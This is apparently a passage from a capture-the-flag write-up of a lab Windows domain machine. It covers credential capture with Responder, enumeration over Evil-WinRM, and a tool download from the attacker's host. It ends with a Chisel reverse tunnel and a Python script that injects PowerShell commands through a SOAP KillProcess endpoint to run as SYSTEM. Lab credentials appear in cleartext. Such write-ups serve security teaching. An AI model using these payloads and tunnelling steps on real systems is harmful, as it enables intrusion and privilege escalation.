sudo responder -I tun0 -vResponder acts as a fake service listener and captures authentication requests sent by Windows systems. When the SQL server attempted authenticating to our fake SQL07 server, Responder intercepted the MSSQL authentication and disclosed cleartext credentials for another user.
Username: sqlmgmt
Password: bIhBbzMMnB82yxPrivelege Escalation
we tried a lot of shit,
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> whoami /all
net localgroup administrators
net user
USER INFORMATION
----------------
User Name SID
================= =============================================
overwatch\sqlmgmt S-1-5-21-2797066498-1365161904-233915892-1105
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
User accounts for \\
-------------------------------------------------------------------------------
Aaron.Robinson Abdul.Stevens Adam.Russell
Administrator Aimee.Smith Albert.Barrett
Amanda.Jenkins Angela.Jones Ann.Hill
Benjamin.Davison Benjamin.Harrison Bernard.Hilton
Bernard.Wood Bethan.Dale Bethan.Rogers
Beverley.Thompson Brett.Bailey Brett.Haynes
Carl.Johnson Carole.Murray Carole.Yates
Catherine.Griffiths Charlie.Moss Chloe.Cox
Clare.Bartlett Colin.Roberts Damien.Edwards
Danielle.Moore Dean.Hobbs Deborah.Martin
Deborah.Morgan Debra.Arnold Declan.Stone
Douglas.Burrows Duncan.Freeman Eileen.Phillips
Elaine.Page Elaine.Walker Ellie.Singh
Elliot.Green Emily.Cooper Francis.Weston
Frank.McCarthy Frederick.Hussain Frederick.Murray
Gail.Sullivan Gareth.Ahmed Gary.Elliott
George.Todd Georgina.Chambers Geraldine.Harper
Glenn.Field Grace.Curtis Grace.Taylor
Graham.Parker Graham.Perry Guest
Irene.Johnson Jacob.Wilson Jacqueline.Norton
Jamie.Gough Jenna.Phillips Jeremy.Marshall
Jodie.Jones Joe.Pearce John.Begum
Karl.Smith Kathryn.Bryan Kayleigh.Jones
Kenneth.Dennis Kevin.Newton Kim.Hargreaves
krbtgt Louise.Walton Mandy.Wood
Marie.Allan Marilyn.Griffiths Martin.Kemp
Maureen.Kirby Michelle.Willis Mohammad.Hill
Natalie.Higgins Olivia.Quinn Patrick.Holmes
Paul.Collins Peter.Slater Philip.Harris
Rachael.Thomas Roger.Hughes Roger.Spencer
Samantha.Scott Shaun.Jackson sqlmgmt
sqlsvc Suzanne.Hughes Terence.Matthews
Thomas.Lee Timothy.Jackson Timothy.Smith
Tracey.Barker Tracey.Kelly Tracy.Burns
Trevor.Baker Victor.Hopkins Wendy.Williams
The command completed with one or more errors.
While reviewing the downloaded configuration file, we discovered that the application was exposing a WCF SOAP service over HTTP.
We inspected the configuration using:
alhamrizvi@alhams-fedora:~/overwatch$ cat overwatch.exe.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
<system.serviceModel>
<services>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior>
<serviceMetadata httpGetEnabled="True" />
<serviceDebug includeExceptionDetailInFaults="True" />
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel>
<entityFramework>
<providers>
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
</providers>
</entityFramework>
<system.data>
<DbProviderFactories>
<remove invariant="System.Data.SQLite.EF6" />
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
</system.data>
</configuration>Inside the configuration, the following service definition was present.
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>This revealed that the application hosted a web service at:
http://overwatch.htb:8000/MonitorServiceThe configuration also exposed metadata exchange functionality through the mex endpoint.
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />Additionally, the service had debugging enabled.
<serviceDebug includeExceptionDetailInFaults="True" />This setting causes detailed exception messages to be returned by the application, which can often leak sensitive information during exploitation.
The configuration directly matched the functionality we previously observed while reversing the .NET binary, where the application exposed methods such as:
StartMonitoring()
StopMonitoring()
KillProcess()After identifying the service endpoint inside the configuration, we manually queried the WSDL definition from the target using PowerShell.
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://overwatch.htb:8000/MonitorService?wsdl" -UseBasicParsing
StatusCode : 200
StatusDescription : OK
Content : <?xml version="1.0" encoding="utf-8"?><wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:wsx="http://schemas.xmlsoap.o...
RawContent : HTTP/1.1 200 OK
Content-Length: 4478
Content-Type: text/xml; charset=UTF-8
Date: Thu, 07 May 2026 19:38:06 GMT
Server: Microsoft-HTTPAPI/2.0
<?xml version="1.0" encoding="utf-8"?><wsdl:definiti...
Forms :
Headers : {[Content-Length, 4478], [Content-Type, text/xml; charset=UTF-8], [Date, Thu, 07 May 2026 19:38:06 GMT], [Server, Microsoft-HTTPAPI/2.0]}
Images : {}
InputFields : {}
Links : {}
ParsedHtml :
RawContentLength : 4478
The server returned a valid WSDL response, confirming that the SOAP monitoring service was active and accessible internally.
Since the monitoring service was only accessible internally on port 8000, we created a reverse tunnel using Chisel in order to access the service locally from our attacker machine.
First, we downloaded the Windows Chisel binary and hosted it using Python's HTTP server.
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
alhamrizvi@alhams-fedora:~/overwatch$ # Download windows chisel binary
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
gunzip chisel_1.10.0_windows_amd64.gz
mv chisel_1.10.0_windows_amd64 chisel.exe
python3 -m http.server 8080
HTTP response 302 [https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz]
Enqueue https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20%3A42%3A13Z&Saving 'chisel_1.10.0_windows_amd64.gz'
HTTP response 200 [https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20chisel_1.10.0_window 100% [==============================================================================================================================================>] 3.67M 768.05KB/skt=2026-05-07T19%3A41%3A35Z[Files: 1 Bytes: 3.67M [605.72KB/s] Redirects: 1 Todo: 0 Errors: 0 ]Jpc3MiOiJnaXRodWIuY29tServing HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...Iiwia2V5Ijoia2V5MSIsImV4cCI6MTc3ODE4MzM2MiwibmJmIjoxNzc4MTgzMDYyLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZ10.129.52.87 - - [08/May/2026 01:14:57] "GET /chisel.exe HTTP/1.1" 200 -sition=attachment%3B%20filename%3Dchisel_1.10.0_windows_amd64.gz&response-content-type=application%2Foctet-stream]Here:
wgetdownloads the Windows Chisel binarygunzipextracts the compressed filemvrenames the binary tochisel.exepython3 -m http.server 8080hosts the current directory over HTTP on port8080
Next, we started a Chisel reverse tunneling server on our attacker machine.
./chisel server -p 9001 --reverseHere:
serverstarts Chisel in server mode-p 9001listens on port9001--reverseenables reverse tunneling support
The server started successfully.
alhamrizvi@alhams-fedora:~/overwatch$ chmod +x chisel
alhamrizvi@alhams-fedora:~/overwatch$ cd ~/overwatch
./chisel server -p 9001 --reverse
2026/05/08 01:13:54 server: Reverse tunnelling enabled
2026/05/08 01:13:54 server: Fingerprint 6mS6BCRQU5iaIpvo5inwXWoqaN2fgqLf+nR+cas7IG8=
2026/05/08 01:13:54 server: Listening on http://0.0.0.0:9001
2026/05/08 01:16:04 server: session#1: tun: proxy#R:8000=>8000: Listening
From the compromised Windows host, we downloaded the Chisel binary using PowerShell.
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://10.10.15.1:8080/chisel.exe" -OutFile "C:\Users\sqlmgmt\Documents\chisel.exe"
C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000
chisel.exe : 2026/05/07 12:45:51 client: Connecting to ws://10.10.15.1:9001
+ CategoryInfo : NotSpecified: (2026/05/07 12:4...10.10.15.1:9001:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/05/07 12:45:54 client: Connected (Latency 609.9068ms)/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...Here:
-Urispecifies the remote file location-OutFilesaves the binary locally on the target machine
After downloading the binary, we started the Chisel client on the Windows host.
C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000Here:
clientstarts Chisel in client mode10.10.15.1:9001is the attacker serverR:8000:127.0.0.1:8000creates a reverse tunnel from our machine's port8000to the target's local port8000
The client connected successfully.
client: ConnectedOn the attacker machine, the Chisel server showed that the reverse tunnel was active.
proxy#R:8000=>8000: Listening
Exploitation script for Root Flag
After forwarding the internal service locally using Chisel, we created a custom exploit to interact directly with the SOAP API exposed by the monitoring application.
The exploit targeted the KillProcess() function that we previously identified while reversing the .NET binary.
import requests
import sys
TARGET = "http://127.0.0.1:8000/MonitorService"
def soap_request(process_name):
body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://tempuri.org/">
<soap:Body>
<tns:KillProcess>
<tns:processName>{process_name}</tns:processName>
</tns:KillProcess>
</soap:Body>
</soap:Envelope>"""
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
}
r = requests.post(TARGET, data=body, headers=headers, timeout=10)
print(f"[*] Response:\n{r.text}\n")
cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami"
soap_request(f"x -ErrorAction Ignore; {cmd}; #")The script sends a crafted SOAP request directly to the vulnerable KillProcess() endpoint.
The target URL was:
TARGET = "http://127.0.0.1:8000/MonitorService"Because of the Chisel reverse tunnel, local port 8000 on our attacker machine was forwarded to the internal service running on the Windows target.
Inside the exploit, the SOAP XML body manually invokes the vulnerable KillProcess method.
<tns:KillProcess>
<tns:processName>{process_name}</tns:processName>
</tns:KillProcess>The request is then sent using Python's requests.post() function.
r = requests.post(TARGET, data=body, headers=headers, timeout=10)The most important part of the exploit was the payload injection.
soap_request(f"x -ErrorAction Ignore; {cmd}; #")Earlier during reverse engineering, we identified that the service internally executed PowerShell commands similar to:
Stop-Process -Name <USER_INPUT> -ForceThe application directly embedded user supplied input into a PowerShell command without sanitization, making it vulnerable to command injection.
The payload abused PowerShell command separators using semicolons.
x -ErrorAction Ignore; <COMMAND>; #Breaking this down:
xacts as a fake process name-ErrorAction Ignoresuppresses errors if the process does not exist;terminates the original command<COMMAND>executes arbitrary attacker controlled PowerShell commands#comments out the remaining-Forceargument appended by the application
As a result, the final PowerShell command executed by the server became:
Stop-Process -Name x -ErrorAction Ignore; whoami; # -ForceThis successfully transformed the intended process termination functionality into arbitrary command execution on the target system.
Root.txt
alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>nt authority\system

</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>
alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>fa3a9c43c1663c72ce8e35af36cb614a

</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>
After creating the SOAP exploit, we first executed it without arguments in order to verify command execution.
python3 exploit.pyThe application returned the following response.
<KillProcessResult>nt authority\system</KillProcessResult>This confirmed that our injected PowerShell command was executed successfully by the service as:
NT AUTHORITY\SYSTEMThis was extremely important because it showed that the vulnerable monitoring service was running with SYSTEM privileges, meaning every injected command would execute with full administrative access on the machine.
Next, we modified the payload in order to read the Administrator flag directly from the filesystem.
python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"Here:
typeis the Windows equivalent ofcatC:\\Users\\Administrator\\Desktop\\root.txtpoints to the administrator flag file- Double backslashes were used because Python interprets
\as escape characters
The server responded with the contents of the file.
<KillProcessResult>REDACTED</KillProcessResult>here's our flag!
this took 3.5 hours lol, definitely a challenging machine. here's a quick summary before we sleep and bye
Box complete! Full attack chain:
SMB enumeration → found software$ share → downloaded overwatch.exe
Decompiled .NET assembly → discovered SQL credentials:
sqlsvc:TI0LKcfHzZw1Vv
and MSSQL running on non-standard port 6520
Connected to MSSQL → discovered linked server SQL07 with self-mapping enabled
ADIDNS poisoning → redirected SQL07 to attacker machine → Responder captured cleartext credentials:
sqlmgmt:bIhBbzMMnB82yx
evil-winrm shell as sqlmgmt → obtained user flag
Chisel reverse tunnel → forwarded internal WCF service running on port 8000
SOAP injection through KillProcess() → PowerShell command injection as nt authority\system → obtained root flag
Really fun machine honestly, chaining ADIDNS poisoning, MSSQL linked servers, WCF SOAP abuse, and PowerShell injection together was pretty satisfying.